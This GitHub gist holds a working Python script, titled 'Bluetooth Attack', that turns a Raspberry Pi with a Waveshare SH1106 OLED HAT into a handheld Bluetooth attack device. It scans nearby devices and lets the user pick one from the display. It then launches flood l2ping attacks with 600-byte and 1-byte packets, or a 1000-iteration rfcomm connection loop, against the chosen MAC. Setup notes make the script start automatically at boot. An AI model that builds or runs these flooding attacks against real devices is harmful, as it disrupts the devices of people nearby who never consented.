Created
September 20, 2025 02:32
-
-
Save vitouXY/d5c11885775890a9a49d05a6b07d3643 to your computer and use it in GitHub Desktop.
Bluetooth Attack | 1.3" OLED Display HAT for Raspberry Pi by Waveshare (SH1106)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| # -*- coding:utf-8 -*- | |
| # https://www.waveshare.com/wiki/1.3inch_OLED_HAT | |
| """ | |
| # # python -m venv btattack | |
| # # source /root/btattack/bin/activate | |
| # # pip install --upgrade luma.oled | |
| # # pip install --upgrade rpi-lgpio | |
| # # pip install --upgrade spidev | |
| # # nano /boot/firmware/config.txt | |
| dtparam=spi=on | |
| # # systemctl status rc-local.service | |
| # # nano /etc/rc.local | |
| #!/bin/bash | |
| cd /root/ && . /root/btattack/bin/activate && /root/btattack/bin/python /root/btattack.py & | |
| exit | |
| # # chmod +x /etc/rc.local | |
| """ | |
| import os, time | |
| from luma.core.interface.serial import spi | |
| from luma.oled.device import sh1106 | |
| from luma.core.render import canvas | |
| from PIL import ImageFont | |
| import RPi.GPIO as GPIO | |
| # --- Configuración pantalla --- | |
| RST_PIN, DC_PIN = 25, 24 | |
| serial = spi(device=0, port=0, gpio_RST=RST_PIN, gpio_DC=DC_PIN) | |
| device = sh1106(serial, rotate=2) | |
| #FONT = ImageFont.load_default() | |
| # # https://github.com/rm-hull/luma.examples/blob/main/examples/fonts/FreePixel.ttf | |
| FONT = ImageFont.truetype("FreePixel.ttf", 9) | |
| # --- Botones --- | |
| key = {'up':6, 'down':19, 'press':13} | |
| GPIO.setmode(GPIO.BCM) | |
| for k in key.values(): | |
| GPIO.setup(k, GPIO.IN, pull_up_down=GPIO.PUD_UP) | |
| # --- Variables --- | |
| menu_state = "main" # main, devices, actions | |
| devices = [] # lista de MACs | |
| selected = 0 # índice seleccionado | |
| current_device = None | |
| scroll_offset = 0 | |
| # calcular altura real de la fuente | |
| bbox = FONT.getbbox("A") | |
| font_height = bbox[3] - bbox[1] | |
| # --- Funciones --- | |
| def scan_bluetooth(): | |
| global devices | |
| devs = {} # dict {mac: name} | |
| # --- Método 1: bluetoothctl --- | |
| result1 = os.popen("bluetoothctl --timeout 5 scan on").read() | |
| for l in result1.splitlines(): | |
| if "Device" in l: | |
| parts = l.split("Device") | |
| mac_name = parts[1].strip().split(" ", 1) | |
| if len(mac_name) >= 1: | |
| mac = mac_name[0] | |
| name = mac_name[1] if len(mac_name) > 1 else "" | |
| if len(mac.split(":")) == 6: # validación de MAC | |
| devs[mac] = name | |
| # --- Método 2: hcitool --- | |
| result2 = os.popen("hcitool -i hci0 scan").read() | |
| for l in result2.splitlines(): | |
| if ":" in l: | |
| parts = l.strip().split("\t") | |
| mac = parts[0].strip() | |
| name = parts[1].strip() if len(parts) > 1 else "" | |
| if len(mac.split(":")) == 6: | |
| if mac not in devs or not devs[mac]: # si bluetoothctl no dio nombre | |
| devs[mac] = name | |
| # Convertir a lista de tuplas [(mac, name)] | |
| devices = sorted([(m, n) for m, n in devs.items()]) | |
| def draw_menu(title, options, sel): | |
| with canvas(device) as draw: | |
| draw.text((0,0), title, font=FONT, fill=255) | |
| for i, opt in enumerate(options): | |
| prefix = ">" if i==sel else " " | |
| draw.text((0, 12+i*10), f"{prefix}{opt}", font=FONT, fill=255) | |
| def run_action(action, mac): | |
| with canvas(device) as draw: | |
| draw.text((0,20), f"{action} {mac}", font=FONT, fill=255) | |
| if action == "l2ping 600": | |
| os.system(f"l2ping -i hci0 -s 600 -f {mac}") | |
| elif action == "l2ping 1": | |
| os.system(f"l2ping -c 1 -s 1 -f {mac}") | |
| elif action == "rfcomm attack": | |
| os.system(f"for (( i=1; i<=1000; i++ ));do rfcomm connect {mac} 1 ;sleep 0.2;done") | |
| # --- Main loop --- | |
| while True: | |
| if menu_state == "main": | |
| #opts = ["Escanear Bluetooth", "Salir"] | |
| opts = ["Escanear Bluetooth"] | |
| draw_menu("Menu Principal", opts, selected) | |
| if GPIO.input(key['up'])==0: | |
| selected = (selected-1)%len(opts); time.sleep(0.2) | |
| if GPIO.input(key['down'])==0: | |
| selected = (selected+1)%len(opts); time.sleep(0.2) | |
| if GPIO.input(key['press'])==0: | |
| if opts[selected]=="Escanear Bluetooth": | |
| scan_bluetooth() | |
| selected=0 | |
| menu_state="devices" | |
| elif opts[selected]=="Salir": | |
| break | |
| time.sleep(0.2) | |
| elif menu_state == "devices": | |
| # opciones con nombre | |
| opts = [f"{mac} ({name})" if name else mac for mac, name in devices] + ["< Atras"] | |
| # --- Scroll --- | |
| #max_visible = 5 # máximo de líneas que caben en la pantalla | |
| max_visible = ( device.height // font_height ) - 4 | |
| print(max_visible) | |
| if selected < scroll_offset: | |
| scroll_offset = selected | |
| elif selected >= scroll_offset + max_visible: | |
| scroll_offset = selected - max_visible + 1 | |
| visible_opts = opts[scroll_offset:scroll_offset+max_visible] | |
| draw_menu("Dispositivos", visible_opts, selected - scroll_offset) | |
| # --- Botones --- | |
| if GPIO.input(key['up'])==0: | |
| selected = (selected-1)%len(opts); time.sleep(0.2) | |
| if GPIO.input(key['down'])==0: | |
| selected = (selected+1)%len(opts); time.sleep(0.2) | |
| if GPIO.input(key['press'])==0: | |
| if opts[selected]=="< Atras": | |
| selected=0 | |
| scroll_offset=0 | |
| menu_state="main" | |
| else: | |
| current_device = devices[selected][0] # solo la MAC | |
| selected=0 | |
| scroll_offset=0 | |
| menu_state="actions" | |
| time.sleep(0.2) | |
| elif menu_state == "actions": | |
| opts = ["l2ping 600","l2ping 1","rfcomm attack","< Atras"] | |
| draw_menu("Acciones", opts, selected) | |
| if GPIO.input(key['up'])==0: | |
| selected = (selected-1)%len(opts); time.sleep(0.2) | |
| if GPIO.input(key['down'])==0: | |
| selected = (selected+1)%len(opts); time.sleep(0.2) | |
| if GPIO.input(key['press'])==0: | |
| if opts[selected]=="< Atras": | |
| selected=0 | |
| menu_state="devices" | |
| else: | |
| run_action(opts[selected], current_device) | |
| time.sleep(0.2) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment